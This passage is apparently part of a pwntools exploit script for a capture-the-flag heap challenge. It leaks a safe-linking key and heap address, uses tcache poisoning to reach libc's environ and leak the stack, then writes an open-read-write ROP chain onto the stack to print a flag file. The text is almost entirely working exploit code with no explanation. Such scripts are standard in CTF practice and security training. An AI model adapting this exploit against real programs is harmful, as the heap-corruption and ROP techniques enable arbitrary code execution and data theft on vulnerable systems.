success("key :"+hex(key))
heap_addr = key << 12
success("heap_addr :"+hex(heap_addr))
environ_addr = libc_addr + libc.sym['environ']
for i in range(5):
add() #9-13

edit(1,8,p64(environ_addr ^ key))
add()#14
add()#15
edit(0,8,b'./flag\x00\x00')
show(15)
io.recv()
stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x168
success("stack_addr :"+hex(stack_addr))
delete(9)
delete(10)
edit(10,8,p64(stack_addr^key))
add()#16
add()#17
rdi_addr = libc_addr + libc.search(asm('pop rdi;ret;')).__next__()
rsi_addr = libc_addr + libc.search(asm('pop rsi;ret;')).__next__()
rdx_addr = libc_addr + 0x00000000000c7f32
# rax_addr = libc_addr + 0x0000000000044c70
# syscall = libc_addr + 0x0000000000026858
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
#open
#flag_addr = stack_addr +0x10
flag_addr = heap_addr + 0x2a0
payload = p64(0)*1+p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0) + p64(open_addr)
payload += p64(rdi_addr) + p64(3) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(read_addr)
payload += p64(rdi_addr) + p64(1) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_addr) + p64(0x50) + p64(write_addr)
# gdb.attach(io,'b *'+str(rdi_addr))
# gdb.attach(io,'b *$rebase(0x1541)')
# pause(0)
edit(17,len(payload),payload)
io.recv()
io.recv()